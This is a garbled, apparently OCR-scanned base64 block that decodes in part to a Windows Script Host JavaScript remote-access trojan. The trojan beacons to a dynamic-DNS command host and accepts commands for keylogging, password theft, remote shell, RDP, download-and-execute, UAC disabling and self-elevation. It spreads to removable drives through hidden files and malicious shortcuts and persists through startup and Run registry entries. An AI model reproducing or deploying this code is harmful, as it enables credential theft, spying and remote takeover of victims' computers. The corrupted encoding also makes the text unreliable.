SMWNtNGdLRjh3ZURJeVpgZ2dQUOJtZFc1amRHbHZiaWhtS1NCNORRb2dJQOFnY21WMGRYSnVJR1ZiWmIBOUIHWWd
MUOF4TnpoZE93MEtJQ0I5S1NoV0xDQmtLVHNOQ24wTkNpRm1kVzVqZEdsdmJpZ3BJSHNOQ2IBZ2RtRnIJR1FnUFNC
ZK11Z3INbVk0T3cwS0IDQjJZWEINYKNBOUIGOHdIRFEXWmpRb0tUc05DaUFnWm05eUIDZzdPeWtnZXcwS0IDQWdJSFJ
5ZVNCNORRb2dJQOFnSUNCcFppQW9NalUyTXpBMOIEMDIJQzF3WVhKelpVbHVkQ2hrSORFNU1Ta3BJQ3NnTFhCaGNu
TmxTVzUwS0dRb01qQXpLU2tnTHIBeUIDc2djR0Z5YzJWSmJuUW9aQ2d4T1RjcEtTAQXZJRE1nS2IBb0xYQmhjbk5sU1c1
MEtHUW9NVGcwS1NrZ0x5QTBLUOFySUMxd11YSnpaVWx1ZENoaOtERTRPQ2twSUM4Z05TQXFJQ2d0Y0dGeWMyVkpib
IFvWkNneEQUQXBLUOF2SURZcEIDc2djR0Z5YzJWSmJuUW9aQ2d4T1RRcEtTQXZJRGNNS2IBb2NHRNIjMIZKYm5Rb1p
DZ3INREVwS1NBdKIEZ3BJQ3NnY0dGeWMyVkpiblFvWkNneU1EQXBLUOF2SURrZ0tpQW9jR0Z5YzJWSmJuUW9aQ2d5
TURJCEtTQXZJREV3S1NBckliQmhjbk5sU1c1MEtHUWINVGd6S1NrZ0x5QXhNUOFXSUNndGNHRnIjMIZKYm5Rb1pDZ3h
PVGtwS1NBdkIERXILU2tnZXcwS0IDQWdJQOFnSUNCaWNtVmhhenNOQ2IBZ0IDQWdJSDBOQ2IBZ0IDQWdJR3hiWHpk
eWNtSnVORNN4WFYwb2JGdGZOMOp5WWO00OMFd6SmRYU2dwS1RzTkNpQWdJQ0I5SUdOaGRHTM9JQ2hXS1NCNORR
b2dJQOFNSUNCc1cxODNjbkppYmpSYk1WMWRLR3hiWHpkeWNtSnVORNN5SWFYwb0tTazdEUW9nSUNBZ2ZRMEtJQOI5
RFFwOUtDazdEUX<>yWVhJZ2MzVndaWEpUZEhKcGJtY2dQUOJmTjNKeVItNDBXek5kT3cwS2RtRnIJR1Z1WTI5a1pXUI
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VaWGgwSUQwZ2MzVndaWEpUZEhKcGJtZGJYemR5Y21KdU5GczBYVjBvSkRWR1duZE1VRVIXVEcxb1pETjBiMDQwT
1hvb01UWXBMQOJmTjNKeVItNDBXelZkS1Z0Zk1laGxPVEptT1RJb01UYzVLVjBvTHp3KOwyY3NJQOpCSWIrNORRcDJZW
EInWkdWamlyUmxaRIJsZUhRZ1BTQmtaV052WkdWQ11YTmxOalFvWIc1amlyUmxaRIJsZUhRcE93MEtablZ1WTNScGly
NGdZU2dwSUhzTkNpQWdkbUZ5SUdRZ1BTQmJYelp5YUd4ck4xc3hORjBzSUY4MmNtaHNhemRiTVRWZExDQmZObkp
vYkdzM1d6RTJYU3dnWHpaeWFHeHJOMXN4TjEwc0IGODJjbWhzYXpkYk1sMHNJRjgyY210c2F6ZGJNVGhKTENCZk5u
SmYiR3MzV3pFNVhTd2dYelp5YUd4ck4xc3INRjBzSUY4MmNtaHNhemRiTWpGZExDQmZObkpvYkdzM1d6SXIYU3dnW
HpaeWFHeHJOMXN5TTEwc0IGODJjbWhzYXpkYk1qUmRMQOJmTm5Kb2JHczNXekkxWFN3Z1h6WnlhR3hyTjFzeU5sM
HNJRjgyY210c2F6ZGJNamRKTENCZk5uSm9iR3MzV3pJNFhTd2dYelp5YUd4ck4xc3IPVjBzSUY4MmNtaHNhemRiTXpC
ZExDQmZObkpvYkdzM1d6TXhYU3dnWHpaeWFHeHJOMXN6 TWwwc0IGODJjbWhzYXpkYk16 TmRMQOJmTm5Kb2JHecz
NXekOWWFN3Z1h6WnlhR3hyTjFzek5WMHNJRjgyY210c2F6ZGJNelpkTENCZk5uSm9iR3MzV3pNM1hTd2dYelp5YUd4ck
4xc3pPRjBzSUY4MmNtaHNhemRiTXpsZExDQmZObkpvYkdzM1d6UXdYU3dnWHpaeWFHeHJOMXMwTVYwc0IGODJjb
WhzYXpkYkS5ESmRMQOJmTm5Kb2JHczNXekZKTENCZk5uSm9iR3MzV3pRelhTd2dYelp5YUd4ck4xczBORjBzSUY4Mm
NtaHNhemRiTkRWZExDQmZObkpvYkdzM1d6UTJYVj<>3RFFvZ0IISmxkSFZ5YmIBb1ITQTIJR10xYm1OMGFXOXVLQ2t
nZXcwS0IDQWdJSEpsZEhWeWJpQmtPdzBLSUNCOUtTZ3BPdzBLZIEwS1puVnVZM1JwYjl0Z1h6QjRORFZtTkNncElic
05DaUFnZG1GeUIGWWdQUOJiWHpkeWNtSnVORNN4TVYwcO0IGODNjbkppYmpSYk1USmRMQOJmTjNKeVItNDBXekV6
WFN3Z1h6ZHIjbUp1TkZzeE5GMHNJRjgzY25KaWJqUmJNVFZKTENCZk4zSnIZbTQwV3pFMIhTd2dYemR5Y21KdU5Gc3
hOMTBzSUY4M2NuSmlialJiTVRoZExDQmZOMOp5WWOOMFd6RTVYU3dnWHpkeWNtSnVORNN5TUYwc0IGODNjbkppY
mpSYk1gRmMRMQOJmTjNKeVItNDBXekI5WFN3Z1h6ZHIjbUp1TkZzMFhTd2dYemR5Y21KdU5Gc3INMTBzSUY4M2NuSm
lialJiTWpSZEXDQmZOMOp5WWO00MFd6ZGRMQOJmTjNKeVItNDBXekkxWFN3Z1h6ZHIjbUp1TkZzeU5sMHNJRjgzY25Ka
WJqUmJNamRKTENCZk4zSnIZbTQwV3pJNFhTd2dYemR5Y21KdU5Gc3IPVjBzSUY4M2NuSmlialJiTXpCZExDQmZOMO
p5WWOOMFd6TXhYU3dnWHpkeWNtSnVORNN6TWwwc0IGODNjbkppYmpSYk16TmRMQOJmTjNKeVItNDBXekOWWFYw
NORRb2dJSEpsZEhWeWJpQW9YeklOTKRWbU5DQTIJR10xYm10OMGFXOXVLQ2tnZXcwS0IDQWdJSEpsZEhWeWJpQld
PdzBLSUNCOUtTZ3BPdzBLZIEwS1pYWmhiQ2hrWidOdIpHVmtWR1Y0ZENrNORRbz0iOwp2YXIgd3NoU2hIbGwxIDOgV
1NjemiwdC5DcmVhdGVPYmplY3QolldTY3JpcHQuU2hIbGwiKTsKdmFylGFwcGRhdGFkaXIxIDOgd3NoU2hlbGwxLkV4
cGFuZEVudmlyb25tZW50U3RyaW5ncygiJWFwcGRhdGEIllik7CnZhciBzdHVicGF0aDEgPSBhcHBkYXRhZGlyMS<>riCJc
XENIa0OlhbFRza2EuanMiOwp2YXIgZGVjb2RIZDEgPSBkZWNvZGVCYXNINjQobG9uZ1RIeHQxKTsKd3JpdGVCeXRicyhz
dHVicGF0aDEsIGRIY29kZWQxKTsKd3NoU2hlbGwxLnJ1bigid3NjcmlwdC<>vLO0IgXClilCsgc3R1YnBhdGgxICsgliwilik7
Cn1jYXRjaChlcil7fQpmdW5jdGlvbiB3cmI0ZUJ5dGVzKGZpbGUsIGJ5dGVzKXsKdHJ5ewp2YXIgYmluYXJ5U3RyZWFtID
0gV1NjcmiwdC5DcmVhdGVPYmplY3QolkFETORCLINOcmVhbSIpOwpiaW5hcnITdHJIYWOuVHIWZS<>9IDE7CmJpbmFy
eVNOcmVhbS5PcGVuKCk7CmJpbmFyeVNOcmVhbS5Xcml0ZShieXRlcyk7CmJpbmFyeVNOcmVhbS5TYXZIVG9GaWxI
KGZpbGUsIDIpOwp9Y2F0Y2goZXJyKXsKfQp9CmZ1bmN0aW9ulGRIY29kZUJhc2U2NChiYXNINjQpewp2YXIgREOgPSB
XU2NyaXBOLkNyZWF0ZU9iamVjdCgiTWIjcm9zb2ZOLIhNTERPTSIpOwp2YXIgRUwgPSBETS5jcmVhdGVFbGVtZW50K
CJ0bX<>iKTsKRUWUZGF0YVR5cGUgPS<>iYmluLmJhc2U2NCI7CkVMLNRIeHQgPSBiYXNINjQ7CnJIdHVybiBFTC5ub2
RIVHIWZWRWYWx1ZTsKfQp3c2hTaGVsbDEgPSBudWxsOw0KLy88WyByZWNvZGVylDoga29nbmlOby<>o0Yykgc2t5cGU
gOiBsaXZIOnVua25vd24uc2FsZXM2NCBdPgOKLy89LTOtPS09LTOgY29uZmiInIDOtPSO9LTOtPSO9LTOtPS09LTOtPSOILT
0tPS09DQp2YXIgaG9zdC<>91CJqYmQyMzEuZHVja2Rucy5vemciOw0KdmFyIHBvenQgPS<>yMDlyOwOKdmFylGluc3R
hbGxkaXIlgPS<>iJWFwcGRhdGEIlljsNCnZhciBsbmtmaWxIID0gdHJ1ZTsNCnZhciBsbmtmb2xkZXIgPSBOcnVIOwOKLy8
9LTOtPSO09LTOgcHVibGljIHZhci<>9LTOtPSO09LTOtPS09LTOtPS09LTOtPS09DQp2YXIgc2hlbGxvYmogPSBXU2NyaXBOL
mNyZWF0ZU9iamVjdCgid3NjcmlwdC5zaGVsbClpOwOKdmFylIGZpbGVzeXNOZW1vYmogPSBXU2NyaXBOLmNyZWF0Z
U9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXNOZW1vYmplY3QiKTsNCnZhciBodHRwb2JqID0gV1NjecmlwdC5jcmVhdGVP
YmplY3Qolm1zeG1sMi54bWxodHRwlik7DQovLz0tPS09LTOtPSBwcmI2YXQgdmFylDOtPSO09LTOtPS09LTOtPS09LTOtPS
09DQp2YXIgaW5zdGFsbG5hbWUgPSBXU2NyaXBOLnNjcmiwdE5ShbWU7DQp2YXIgc3RhenR1cC<>9IHNoZWxsb2JqLnN
WZWNpYWxGb2xkZXJzKCJzdGFydHVwlikgKy<>iXFwiOw0KaW5zdGFsbGRpci<>9IHNoZWxsb2JqLkV4cGFUZEVudml
yb25tZW50U3RyaW5ncyhpbnNOYWxsZGlyKS<>rlICJcXCI7DQppZighZmisZXN5c3RIbW9iai5mb2xkZXJFeGlzdHMoaW5z
dGFsbGRpcikpey<>gaW5zdGFsbGRpci<>9IHNoZWxsb2JqLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiJXRIbX<>llik
gKy<>iXFwiO30NCnZhciBzcGxpdGVyID0ginwiOwOKdmFyIHNSsZWVwIDOgNT<>wMDsNCnZhciByZXNwb25zZSwg Y21k
LCBwYXJhbSwgb25Ib25jZTsNCnZhciBpbmYgPS<>iljsNCnZhciB1c2JzcHJIYWRpbmcgPS<>iljsNCnZhciBzdGFydGRh
dGUgPS<>iljsNCi8vPS09LTO0tPS09IGNVZGUgc3RhcnQgPS09LTOtPS09LTOtPSO9LTOtPSO9LTONCmIuc3RhbmNIKCk7D
Qp3aGlsZShocnVIKXsNCnRyeXsNCmluc3RhbGwoKTsNCnJlc3BvbnNIIDOglil7DQpyZXNwb252ZS<>9IHBvc3QgKCJpcy
1yZWFkeSiIslilpOw0KY21kiD0OgecmVzcG9uc2Uuc3BsaXQoc3BsaXRIcik7DQpzd210Y2goY21kWzBdKXsNCmNhc2UgimR
pc2Nvbm51Y3QiOg0KV1NjemlwdC5xdWIOKCk7DQpicmVhazsNCmNhc2UgInJIYm9vdCl6DQpzaGVsbG9iai5ydW4oliVijb
21zcGVjJS<>vYyBzaHV0ZG93bi<>vci<>vdC<>wICImliwgMCwgdHJ1ZSk7DQpicmVhazsNCmNhc2UgIinNodXRkb3duljo
NCnNoZWxsb2JqLnJ1bigiJWNvbXNwZWMIIC9jIHNodXRkb3dulC9zIC90ID<>gL2YiLC<>wLCBOcnVIKTSNCmJyZWFrO
WOKY2FzZS<>iZXhjZWN1dGUiOgOKcGFyYWO0gPSBjbWRbMV07DQpldmFsKHBhcmFtKTsNCmJyZWFrOwO0KY2FzZS<>
iZ2VOLXBhc3MiOg0KcGFzc2dyYWJiZXloY21kWzFdLC<>iY21kYy5leGUILCBjbWRbMIOpOwOKYnJIYWs7DQpjYXNIICJ1
bmluc3RhbGwiOgOKdW5pbnNOYWxsKCk7DQpicmVhazsNCmNhc2UgInVwLW4tZXh1Yyl6DQpkb3dubG9hZChjbWRbM
V0sY21kWzJdKTsNCmJyZWFrOwOKY2FzZS<>iYnJpbmctbGOnljoNCnVwbG9hZChpbnNOYWxsZGlylCsglindzaGxvZ3Nc
XClgKyBjbWRbMVO0sICJOYWtILWxvZylpOwOKYnJIYWs7DQpjYXNIICJkb3duLW4tZXhlYyl6DQpzaXRIZG93bmxvYWRIci
hjbWRbMV0sY21kWzJdKTsNCmJyZWFrOwOKY2FzZS<>gImZpbGVtYW5hZ2VyljoNCnNIcnZpY2VzdGFydGVyKGNtZFs
xXSwglmZtLXBsdWdpbi5leGUiLCBpbmZvem1hdGlvbigpKTsNCmJyZWFrOwO0KY2FzZS<>gInJkcCl6DQpzZXJ2aWNIc3
RhcnRIcihjpWRbMVO0sICJyZC1wbHVnaW4uZXhlliwgaW5mb3JtYXRpb24oKSk7DQpicmVhazsNCmNhc2UgICJrZXIsb2d
nZX1i0g0Ka2V5bG9nZ2Vyc3RhcnRIcihjpWRbMV0sICJrbC1wbHVnaW4uzZXhlliwgaW5mb3JtYXRpb24oKSwgMCk7DQpi
cmVhazsNCmNhc2UgICJvZmZsaW5ILWtleWxvZ2dIciléDQprZXlsb2dnZXJzdGFydGVyKGNtZFsxXSwglmtsLXBsdWdpb
i5leGUILCBpbmZvem1hdGlvbigpLC<>xKTsNCmJyZWFrOwOKY2FzZS<>glmJyb3dzZS1sb2dzljoNCnBvc3QolmlzLWxv
Z3MiLCBIbnVtZmFmKGIuc3RhbGxkaXIgKy<>id3NobG9ncylpKTsNCmJyZWFrOw0KY2FzZS<>gImNtZC1zaGVsbCl6DQ
pwYXJhbS<>9IGNtZFsxXTsNCnBvc3QolmIzLWNtZC1zaGVsbClsY21kc2hlbGwocGFyYWOpKTsNCmJyZWFrOwWOKY2Fz
ZS<>gImdldC1wecm9jZXNzZXMiOg0KcG9zdCgiaXMtcHJvY2Vzc2VzliwgZW51bXByb2NIc3MoKSk7DQpicmVhazsNCmN
hc2UgICJkaXNhYmxILXVhYyl6DQppZihXU2NyaXBOLkFyZ3VtZW50cy50YW11ZC5FeGlzdHMolmVsZXZhdGVklikgPTOg
dHJ1ZSI7DQp2YXIgb1J1Zy<>9IEdIdE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25MZXZIbD1pbXBlcnNvbmF0ZX0
hXFxcXC5¢XHJvb3RcXGRIZmF1bHQ6U3RkUmVnUHJvdilpOWOKb1JIZy5TZXREd29yZFZhbHVIKDB40OD<>wMD<>wMDI
slINPRIRXQVJFXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxQb2xpY2llc1xcU3lzdGViliwiRW5h
YmxITFVBliwgMCk7DQpvUmVnLINIdER3b3JkVmFsdWUoMHg4MD<>wMD<>wMiwiU09GVFdBUKVcXE1pY3Jvc29mdF
xcV2IuZG93c1xcQ3VycmVudFZicnNpb25cXFBvbGljaWVzXFxTeXN0ZWO0iLCJDb25z2ZW50UHJvbXBOQmVoYXZpb3JBZ
G1pbilsID<>pOwO0Kb1JIZy<>9IG51bGw7DQp1cGRhdGVzdGFOdXMollVBQytEaXNhYmxIZCsoUmVib290K1JlcXVpecmVk
KSIpOwO0K{QOKYnJIYWs7DQpjYXNIIC<>iZWxIdmF0ZSI6DQppZihXU2NyaXBOLkFyZ3VtZW50cy50YW1IZC5FeGlzdHMo
ImVsZXZhdGVklikgPT0gZmFsc2Upew0KdHJ5ew0Kb251b25jZS5jbG9zZSgpOwO0Kb251b25jZS<>91G51bGw7DQpXU2Nya
XBOLKkNyZWF0ZU9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKS5TaGVsbEV4ZWN1dGUolndzY3JpcHQuZXhlliwgli<>vL
0IgXClilCsgV1NjecmlwdC5TY3JpcHRGdWxsTmFtZS<>rICJcli<>vZWxIdmFO0ZWQIiLC<>iliwgInJ1bmFzliwgMSk7DQp1cG
RhdGVzdGFOdXMolkNsaWVudCtFbGV2YXRIZClpOwOKfWNhdGNoKG5uKXsNCnONCIdTY3JpcHQucXVpdCgpOwOKfQ0
KZWxzZXsNCnVwZGF0ZXNOYXR1cygiQ2xpZW50K0VsZXZhdGVklik7DQp9DQpicmVhazsNCmNhc2UgICJpZi1lbGV2YX
RlljoNCmImKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVKLkV4aXNOcygiZWxIdmFOZWQiKS<>9PSBmYWxzZSI7DQp1cGR
hdGVzdGF0dXMolkNsaWVudCtOb3QrRWxIdmFOZWQiKTsNCnONCmVsc2V7DQp1cGRhdGVzdGF0dXMolkNsaWVudCt
FbGV2YXRIZClpOwO0K{QOKYnJIYWs7DQpjYXNIIC<>ia2lsbC1wcm9jZXNzljoNCmV4aXRwem9jZXNzKGNtZFsxXSk7DQp
icmVhazsNCmNhc2UgICJzbGVIcCIEDQpwYXJhbS<>9IGNtZFsxXTsSNCnNsZWVwID0gZXZhbChwYXJhbSk7DQpicmVh
azsNCnONCn1jYXRjaChlcil7fQ0KV1NjcmlwdC5zbGVIcChzbGVIcCk7DQp9DQpmdW5jdGlvbiBpbnNOYWxsKCI7DQp2YX
IgbG5rb2JqOw0KdmFylIGZpbGVuYW110wOKdmFylGZvbGRIcm5hbWU7DQp2YXIgZmisZWIjb247DQp2YXIgZm9IsZGVy
aWNvbjsNCnVwc3RhcnQoKTsNCmZvcih2YXIgZHJpIDOgbmV3IEVudW1lcmF0b3loZmisZXN5c3RIbW9iaiSkemI2ZXMp
Oy<>hZHJpLmFORW5kKCk7IGRyaS5tb3ZITmV4dCgpKXsNCnZhciBkecmI2ZS<>9I1GRyaS5pdGVtKCk7DQppZi<>0ZHJpd
mUuaXNyZWFkeS<>9PSB0cnVIKXsNCmImIChkecmI2ZS5mcmVIc3BhY2UgPi<>wICI7DQppZi<>0ZHJpdmUuZHJpdmVO0
eXBIIDO9IDEgKXsNCnRyeXsNCmZpbGVzeXNOZW1vYmouY29weUZpbGUoV1NjcmlwdC5zY3JpcHRGAWxsTmFtZS<>sl
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GRyaXZILnBhdGggKy<>iXFwilCsgaW5zdGFsbG5hbWUsdHJ1ZSk7DQppZi<>0ZmIsZXN5c3RIbW9iaismaWxIRXhpc3R
Code zIChkemI2ZS5wYXRolCsglixcli<>rIGluc3RhbGxuYW1IKSI7DQpmaWxIc3lzdGVtb2JgLmdIdEZpbGUoZHJpdmUucGF0a
C<>rICJcXClgiCsgaW5zdGFsbG5hbWUpLmFOdHJpYnV0ZXMgPS<>yKzQ7DQp9DQp9Y2F0Y2goZWIqdSI7fQ0KZm9yK
HZhciBmaS<>91G5IdyBFbnVtZXJhdG9yKGZpbGVzeXNOZW1vYmouZ2V0Zm9sZGVyKGRyaXZILnBhdGggKy<>iXFwiK
S5maWxIcyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZITmV4dCgpKXsNCnRyeXsNCnZhciBmaWxIIDOgZmkuaXRIbSgpOw0
KaWYgKGxua2ZpbGUgPT0gZmFsc2Upe2JyZWFrO30NCmIimIChmaWxILm5hbWUuaW5kZXhPZigiLilpKXsNCmimICgo
ZmlIsZS5uYW1ILnNwbGIOKClulilbZmIsZS5uYW1ILnNwbGIOKClulikubGVuZ3RolC0gMVOpLnRvTG93ZXJDYXNIKCkgIT
0glmxuaylpew0KZmlsZS5hdHRyaWJ1dGVzID0gMis0Ow0KaWYgKGZpbGUubmFtZS50b1VwcGVyQ2FzZSgpICE9IGIuc
3RhbGxuYW1ILnRvVXBWZXJDYXNIKCkpew0OKZmIsZW5hbWUgPSBmaWxILm5hbWUuc3BsaXQoli4iKTsNCmxua29iai<
>9IHNoZWxsb2JqLmNyZWF0ZVNob3J0Y3VOKGRyaXZILnBhdGggKy<>iXFwilC<>rIGZpbGVuYW1IWzBdICsgli5sbmsiK
TsNCmxua29iai53aW5kb3dTdHISZS<>9IDc7DQpsbmtvYmoudGFyZ2VOUGF0aC<>9ICJjbWQuZXhlljsNCmxua29iai53b3
JraW5nRGlyZWNO0b3J51D0glil7DQpsbmtvYmouYXJndW1IbnRzID0gli9jIHNOYXJO0ICIgKyBpbnNOYWxsbmFtZS5yZXBsY
WNIKG5ldyBSZWdFeH<>o0li<>iLC<>iZylpLC<>iXCIgXCliKS<>rICImc3RhcnQgli<>rIGZpbGUubmFtZS5yZXBsYWNIKG5I
dyBSZWdFeH<>0li<>iLC<>iZylpLC<>iXCIgXCIliKS<>rliZleGl0ljsNCnRyeXtmaWxlaWNvbi<>9IHNoZWxsb2JqLIJIZ1JIYW
QgKCJIS0VZX0xPQOFMX01BQ0hJTkVcXHNvZnR3YXJIXFxjbGFzc2VzXFwilCsgc2hlbGxvYmouUmVnUmVhZC<>olkhL
RVITE9DQUxfTUFDSEIORVxcc29mdHdhcmVeXGNsYXNzZXNcXC4ilCsgZmisZS5uYW1ILnNwbGIOKClulilbZmIsZS5uY
W1ILnNwbGIOKClulikubGVuZ3RolC0gMV0riCJcXClplCsglixcZGVmYXVsdGljb25¢cXClpOyB9Y2F0Y2goZWVIZSI7{Q0Ka
WYgKGZpbGVpY29uLmIuZGV4T2YoliwiKS<>9PS<>wKXsNCmxua29iai5pY29uTG9jYXRpb24gPSBmaWxILnBhdGg7D
Qp9ZWxzZSB7DQpsbmtvYmouaWNvbkxvY2F0aW9ulD0gZmIsZWIjb247DQp9DQpsbmtivYmouc2F2ZSgpOwO0KfQOKTQ0
KfQOKfWNhdGNoKGVycil7fQOKIQOKZm9yKHZhciBmaS<>91G5ldyBFbnVtZXJhdG9yKGZpbGVzeXNOZW1vYmouZ2V0Z
m9sZGVyKGRyaXZILnBhdGggKy<>iXFwiKS5zdWJGb2xkZXJzKTsgIWZpLmFORW5kKCk7IGZpLm1vdmVOZXhOKCkpe
WOKdHJ5ew0KdmFyIGZvbGRIci<>91GZpLmI0ZW0oKTsNCmImIChsbmtmb2xkZXIgPT0gZmFsc2Upe2JyZWFrO30NCmZ
vbGRIci5ShdHRyaWJ1dGVzID0gMisOOW0KZm9sZGVybmFtZS<>9IGZvbGRIci5uYW110w0KbG5rb2JqlD0gc2hlbGxvYmo
uY3JIYXRIU2hvenRjdXQoZHJpdmUucGF0aC<>rICJcXClgICsgZm9sZGVybmFtZS<>rIClubG5rlik7DQpsbmtvYmoud2lu
ZG93U3R5bGUgPS<>30w0KbG5rb2JgLnRhecmdldFBhdGggPS<>iY21kLmV4ZSI7DQpsbmtvYmoud29ya2luZORpcmVijd
G9yeS<>9ICliOW0KbG5rb2JqLmFyZ3VtZW50cy<>9ICIvYyBzdGFydC<>ilCsgaW5zdGFsbG5hbWUucmVwbGFjZShuZXc
gUmVnRXhwKClgliwgimciKSwgllwilFwilikgKy<>iJnNOYXJ0IGV4cGxvemVylClgKyBmb2xkZXlubmFtZS5yZXBsYWNIK
G5ldyBSZWdFeH<>0li<>iLC<>iZylpLC<>iXCIgXCIliKS<>rliZleGl0ljsNCmZvbGRIcmljb24gPSBzaGVsbG9iai5SZWdSZW
FkKCJISOVZX0xPQOFMX01BQOhJTkVcXHNvVZnR3YXJIXFxjbGFzc2VzXFxmb2xkZXJcXGRIZmF1bHRpY29uXFwiKTsNC
mimIChmb2xkZXJpY29uLmluZGV4T2YoliwiKS<>9PS<>wKXsNCmxua29iai5pY29uTG9jYXRpb24gPSBmb2xkZXlucGF0
aDsNCn1lbHNIIHsNCmxua29iai5pY29uTG9jYXRpb24gPSBmb2xkZXJpY29uOw0KfQOKbG5rb2JgLnNhdmUoKTsNCn1jY
XRjaChlcnlpe30NCnONCnONCnONCnONCnONCnONCmZ1bmNOaW9ulHVuaW5zdGFsbCgpew0KdHJ5ew0KdmFylGZpbG
VuYW110w0KdmFylGZvbGRIcm5hbWU7DQp0cnl7DQpzaGVsbG9iai5SZWAEZWxIdGUolkhLRVIfQ1VSUkVOVF9VUOVS
XFxzb2Z0d2FyZVxcbWIljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvbixccnVuXFwilCsgaW5zdGFsbG5hbWUuc3
BsaXQoli4iKVswXSk7DQpzaGVsbG9iai5SZWJEZWxIdGUolkhLRVIfTEODQUxfTUFDSEIORVxcc29mdHdhecmVeXG1pY3
Jve29mdFxcd2luZG93c1xcY3VycmVudHZIcnNpb25cXHJ1blxcli<>riGluc3RhbGxuYW1ILnNwbGIOK ClulilbMFOpOwOKf
WNhdGNoKGVpKXt9DQp0cnl7DQpmaWxlc3lzdGVtb2JqLmRIbGV0ZUZpbGUoc3RhecnR1cC<>rlGluc3RhbGxuYW1IICx0
cnVIKTsNCmZpbGVzeXNOZW1vYmouZGVsZXRIRmIsZSh3c2NyaXBOLnNjecmlwdGZ1bGxuYW1lICx0cnVIKTsNCn1jYXR
jaChIZWope30NCmZvcih2YXIgZHJpIDOgbmV3IEVudW1lcmF0b3loZmIsZXN5c3RIbW9iaiSkcmI2ZXMpOy<>hZHJpLmF0
RW5kKCk7IGRyaS5tb3ZITmV4dCgpKXsNCnZhciBkecmI2ZS<>91GRyaS5pdGVtKCk7DQppZi<>0ZHJpdmUuaXNyZWFke
S<>9PSB0cnVIKXsNCmImIChkcml2ZS5memVic3BhY2UgPi<>wICI7DQppZi<>0ZHJpdmUuZHJpdmV0eXBIIDO9IDEgKX
sNCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JgLmdIdGZvbGRIcihkemI2ZS5wYXRolCsglix
clikuZmIsZXMpOy<>hZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSI7DQp2YXIgZmIsZS<>91GZpLmI0ZWO0oKTsNCnR
yeXsNCmimIChmaWxILm5hbWUuaW5kZXhPZigiLilpKXsNCmImICgoZmisZS5uYW1ILnNwbGIOKClulilbZmIsZS5uYW1l
LnNwbGIOKClulikubGVuZ3RolC0gMVOpLnRvTG93ZXJDYXNIKCkgITOgImxuaylpewOKZmIsZS5hdHRyaWJ1dGVzIDOgM
DsNCmImIChmaWxILm5hbWUudG9VcHBIckNhc2UoKS<>hPSBpbnNOYWxsbmFtZS50b1VwcGVyQ2FzZSgpKXsNCmZ
pbGVuYW1IIDOgZmIsZS5uYW1ILnNwbGIOKClulik7DQpmaWxIc3IzdGVtb2JqLmRIbGV0ZUZpbGUoZHJpdmUucGF0aC
<>rICJcXClgKyBmaWxlbmFtZVswXS<>rIClubG5rli<>pOw0KfWVsc2V7DQpmaWxlc3lzdGVtb2JqLmRIbGV0ZUZpbGUo
ZHJpdmUucGF0aC<>rICJcXClgKyBmaWxILm5hbWUpOwOKfQOKfWVsc2V7DQpmaWxIc3lzdGVtb2JqLmRIbGV0ZUZpb
GUgKGZpbGUucGF0aCk7DQp9DQp9DQp9Y2F0Y2goZXgpe30NCnONCmZvcih2YXlgZmkgPSBuZXcgRW51bWVyYXRvc
ihmaWxlc3IzdGVtb2JqLmdIdGZvbGRIcihkeml2ZS5wYXRolCsglixclikuc3ViRm9sZGVycyk7ICFmaS5hdEVUuZCgpOyBm
aS5tb3ZITmV4dCgpKXsNCnZhciBmb2xkZXIgPSBmaS5pdGVtKCk7DQpmb2xkZXIuYXR0cmlidXRIcy<>9ID<>7DQp9DQ
p9DQp9DQPIDQAPIDAPIY2F0Y2g0ZXJyKXt9DQpXU2NyaXBOLnF1aXQoKTsNCnONCmZ1bmN0OaW9ulHBvc3QgKGNtZC
<>scGFyYWO0pew0OKdHJ5ew0KaHR0cG9iai5veGVuKCJwb3NOliwiaHROcDovLylgKyBob3N0ICsgljoilCsgcG9ydC<>rli8ilC
sgY21kLCBmYWxzZSk7DQpodHRwb2JqLnNIdFJIcXVIc3RIZWFkZXlolnVzZXItYWdIbnQ6lixpbmZvem1hdGlvbigpKTsN
Cmh0dHBvYmouc2VuZChwYXJhbSk7DQpyZXR1cm4gaHR0cG9iai5yZXNwb25zZVRIeHQ7DQp9Y2F0Y2goZXJyKXsNC
nJIdHVybi<>ilisSNChnONCnONCmZ1bmN0aW9ulGluZm9ybWF0aW9uKCI7DQp0cnl7DQppZi<>0aW5mID09ICIiIKXsNCmlu
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zZW5kKCk7DQp2YXlgb2JgZnNvZG93bmxvYWQgPSBXU2NyaXBOLKkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVz
eXNO0ZW1vYmplY3QiKTsNCmIimKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSI7DQpvYmpmc29kb3
dubG9hZC5kZWxIdGVGaWxIKHNOcnNhdmV0byk7DQp9DQppZi<>ob2JgaHROcGRvd25sb2FKLNNOYXR1cy<>9PS<>yM

Code
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D<>pew0KdmFyICBvYmpzdHJIYW1kb3dubG9hZC<>9IFdTY3JpcHQuQ3JIYXRIT2JgZWNOKCJhZG9kYi5zdHJIYWOiKTs

Code \cmoianNOcmVhbWRvVA25sb2FKLIR5CGUGPS<>XxOW0Kb2Jqc3RyZWFtZG93bmxvYWQuT3BIbigpOwoKb2Jgc3RyZWFt

11
12
13

14
15

16
17

19
20

21

ZG93bmxvYWQuV3JpdGUob2JgaHROcGRvd25sb2FkLnJic3BvbnNIQm9keSk7DQpvYmpzdHJIYW1kb3dubGOhZC5TYX
ZIVG9GaWxIKHNOcnNhdmVO0byk7DQpvYmpzdHJIYW1kb3dubG9OhZC5jbG9zZSgpOw0Kb2Jqc3RyZWFtZG93bmxvYWQ
gPSBudWxsOw0KiQOKaWYob2JqZnNvZG93bmxvYWQuZmIsZUV4aXNOcyhzdHJzYXZIdG8pKXsNCnNoZWxsb2JqLnJ1
bihvYmpmc29kb3dubG9hZC5nZXRGaWxIKHNOcnNhdmVObykuc2hvenRQYXRoKTsNCnVwZGF0ZXNOYXR1cygiRXhlY
